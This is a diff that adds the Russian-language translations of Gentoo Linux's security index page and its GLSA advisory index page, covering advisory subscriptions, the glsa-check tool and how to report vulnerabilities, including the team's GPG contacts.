@@ -0,0 +1,33 @@
+<?xml version='1.0' encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/security/ru/glsa/index.xml" lang="ru">
+<title>Предупрежения по безопасности Gentoo Linux</title>
+
+<author title="автор">
+  <mail link="security@gentoo.org">команда безопасности</mail>
+</author>
+
+<abstract>
+Этот указатель автоматически создается из XML-источника. С соответствующими
+вопросами обращайтесь в команду безопасности Gentoo Linux 
+(security@gentoo.org), на английском языке.
+</abstract>
+
+<license/>
+
+<version>0.7</version>
+<date>каждые 60 минут</date>
+
+<chapter>
+<title>Хронологический указатель GLSA</title>
+<section>
+<body>
+
+<glsaindex/>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/security/ru/index.xml b/xml/htdocs/security/ru/index.xml
new file mode 100644
index 00000000..ce11d7b3
--- /dev/null
+++ b/xml/htdocs/security/ru/index.xml
@@ -0,0 +1,251 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/ru/index.xml" lang="ru">
+<title>Безопасность Gentoo Linux</title>
+<author title="автор">
+	<mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="автор">
+	<mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="автор">
+	<mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+<author title="ответственный переводчик">
+	<mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+<abstract>
+Эта страница &mdash; исходная точка по всем вопросам безопасности Gentoo Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.2</version>
+<date>2006-05-18</date>
+
+<chapter>
+<title>Безопасность Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Безопасность &mdash; первоочередной вопрос в Gentoo Linux. Обеспечение 
+конфиденциальности и защищенности машин наших пользователей для нас крайне 
+важно. Задача своевременного обеспечения информацией об уязвимостях системы 
+безопасности в Gentoo Linux, а также исправлений, исключающих такие уязвимости, 
+поставлена перед проектом безопасности Gentoo Linux &mdash; <uri 
+link="/proj/en/security/">Gentoo Linux Security Project (англ.)</uri> 
+Чтобы обеспечить быстрое профессиональное реагирование на все происшествия, 
+связанные с безопасностью, мы напрямую работаем с поставщиками, конечными 
+пользователями и другими проектами открытого программного обеспечения.
+</p>
+
+<p>
+Документ, описывающий порядок, которому следует команда безопасности, имея дело 
+с уязвимостями, найденными в дистрибутиве Gentoo Linux, находится на странице
+<uri link="/security/en/vulnerability-policy.xml">порядок обращения с 
+уязвимостями (англ.)</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Установка безопасной системы Gentoo</title>
+<body>
+
+<p>
+Сведения и советы по устройству безопасной системы и защите существующих 
+систем даются в <uri link="/doc/ru/security/">настольной книге по безопасности 
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Поддержание безопасности вашей системы Gentoo</title>
+<body>
+
+<p>
+Для поддержания актуальности исправлений системы безопасности желательно 
+оформить подписку на получение GLSA (предупреждений по безопасности Gentoo 
+Linux) и следовать указаниям в GLSA в каждом случае, когда у вас установлен 
+уязвимый пакет. В качестве альтернативы, безопасность системы также можно 
+поддерживать в актуальном состоянии, синхронизируя свое дерево портежей и 
+обновляя каждый пакет.
+</p>
+
+<p>
+Уже ведется разработка  механизма обновлений только системы безопасности для 
+включения в средства Portage. В настоящее время с помощью экспериментальной
+утилиты <c>glsa-check</c> (входит в пакет <e>gentoolkit</e>) можно проверить,
+относится ли конкретное GLSA к вашей системе (параметр <c>-p</c>), вывести
+список всех GLSA с указанием состояния исправлено/уязвимо/не подвержено 
+(параметр <c>-l</c>), или наложить заданное исправление GLSA на свою систему 
+(параметр <c>-f</c>).  
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Предупреждения по безопасности Gentoo Linux (GLSA)</title>
+<section>
+<body>
+
+<p>
+Предупреждения по безопасности Gentoo Linux &mdash; уведомления, которые мы 
+рассылаем сообществу, чтобы проинформировать об уязвимостях в безопасности
+системы, связанных с Gentoo Linux или пакетами, находящимися в нашем хранилище 
+портежей.
+</p>
+
+</body>
+</section>
+<section>
+<title>Свежие предупреждения</title>
+<body>
+
+<glsa-latest/>
+
+<p>За полным списком всех опубликованных предупреждений GLSA, обращайтесь на 
+нашу <uri link="/security/ru/glsa/index.xml">страницу указателя GLSA 
+(англ.)</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Как получать предупреждения GLSA?</title>
+<body>
+
+<p>
+Предупреждения GLSA направляются <uri 
+link="/main/ru/lists.xml">в почтовую рассылку gentoo-announce@gentoo.org 
+(англ.)</uri>, и на ленту новостей RDF
+<uri link="/rdf/en/glsa-index.rdf">http://www.gentoo.org/rdf/en/glsa-index.rdf 
+(англ.)</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Связь с командой безопасности</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux самым серьезным образом относится к сообщениям об уязвимостях в 
+безопасности. Пожалуйста, направляйте отчеты о новых уязвимостях в <uri 
+link="http://bugs.gentoo.org">систему Gentoo Bugzilla (англ.)</uri>, относя их 
+к продукту <e>Gentoo Security</e>, компонент <e>Vulnerabilities</e>. Перейдите
+<uri 
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=Vulnerabilities">по 
+этой ссылке</uri>, чтобы сразу попасть в форму составления отчета об 
+уязвимости. Команда безопасности Gentoo Linux обеспечивает своевременное 
+реагирование на все сообщения об ошибках, связанных с безопасностью.
+</p>
+
+<p>
+Если вы нашли ошибки или упущения в опубликованных предупреждениях GLSA, 
+желательно также сообщить об этом в <uri link="http://bugs.gentoo.org">Gentoo 
+Bugzilla (англ.)</uri>, продукт <e>Gentoo Security</e>, но компонент <e>GLSA 
+Errors</e>. Чтобы сразу приступить к направлению нового запроса об ошибке в 
+GLSA, перейдите <uri 
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%20Security&amp;component=GLSA%20Errors">по 
+этой ссылке</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Конфиденциальные обращения</title>
+<body>
+
+<p>
+Существуют два варианта сообщения об уязвимостях команде безопасности Gentoo 
+Linux без их разглашения. Можно составить запрос в <uri 
+link="http://bugs.gentoo.org/">Gentoo Bugzilla (англ.)</uri>, пользуясь ссылкой 
+<e>New-Expert</e>, и отметить пункт <e>Gentoo Security</e> в разделе <e>Only 
+users in all of the selected 
+groups can view this bug</e> (только пользователям указанных групп разрешен 
+просмотр этого запроса). Также можно связаться напрямую, пользуясь 
+зашифрованной почтой, по одному из следующих контактных адресов по вопросам 
+безопасности (по-английски):
+</p>
+
+<table>
+<tr>
+  <th>Имя</th>
+  <th>Должность</th>
+  <th>Адрес</th>
+  <th>
+    Идентификатор ключа шифрования GPG (нажмите для получения открытого 
+    ключа)
+  </th> 
+</tr>
+<tr>
+  <ti>Sune Kloppenborg Jeppesen</ti>
+  <ti>Operational co-manager</ti>
+  <ti><mail link="jaervosz@gentoo.org">jaervosz@gentoo.org</mail></ti>
+  <ti><uri link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0xC1CEEAB9">0xC1CEEAB9</uri></ti>
+</tr>
+<tr>
+  <ti>Stefan Cornelius</ti>
+  <ti>Operational co-manager</ti>
+  <ti><mail link="dercorny@gentoo.org">dercorny@gentoo.org</mail></ti>
+  <ti><uri link="http://subkeys.pgp.net:11371/pks/lookup?op=get&amp;search=0x05726DC4">0x05726DC4</uri></ti>
+</tr>
+</table>
+<note>
+С полным списком разработчиком Gentoo, включая их идентификаторы ключей 
+GPG, можно в нашем <uri link="/proj/en/devrel/roll-call/userinfo.xml">перечне 
+действующих разработчиков (англ.)</uri>
+</note>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Источники</title>
+<section>
+<title>Страницы о безопасности</title>
+<body>
+<ul>
+<li><uri link="/security/ru/glsa/index.xml">указатель GLSA</uri>
+    &mdash; полный перечень всех опубликованных предупреждений GLSA</li>
+<li><uri link="/rdf/en/glsa-index.rdf">лента RDF GLSA (англ.)</uri>
+    &mdash; оперативная новостная лента RDF GLSA.
+Количество выводимых GLSA можно ограичить, добавив к адресу URL "?num=n",
+где "n" следует заменить на нужное вам количество элементов. Например,
+<uri link="http://www.gentoo.org/rdf/en/glsa-index.rdf?num=20">http://www.gentoo.org/rdf/en/glsa-index.rdf?num=20</uri>
+приведет к выводу последних 20 GLSA.</li>
+<li><uri link="/security/en/vulnerability-policy.xml">порядок обращения с уязвимостями (англ.)</uri>
+    &mdash; официальный порядок, которому следует команда безопасности</li>
+<li><uri link="/proj/en/security/">проект безопасности Gentoo Linux (англ.)</uri>
+    &mdash; страница проекта безопасности</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Ссылки</title>
+<body>
+<ul>
+<li><uri link="/doc/ru/security/">настольная книга по безопасности Gentoo</uri>
+    &mdash; подробное руководство по укреплению Gentoo Linux</li>
+<li><uri link="/proj/en/hardened/">проект укрепленного Gentoo (англ.)</uri>
+    &mdash; дальнейшее усиление безопасности Gentoo Linux</li>
+<li><uri link="/proj/en/server/">проект сервера Gentoo (англ.)</uri>
+    &mdash; ориентирован на вопросы, относящиеся к серверам, такие как защита и надежность</li>
+<li><uri link="/proj/en/devrel/roll-call/userinfo.xml">список действующих разработчиков (англ.)</uri>
+    &mdash; список действующих разработчиков, включающий ключи GPG, которыми можно проверить подлинность GLSA</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>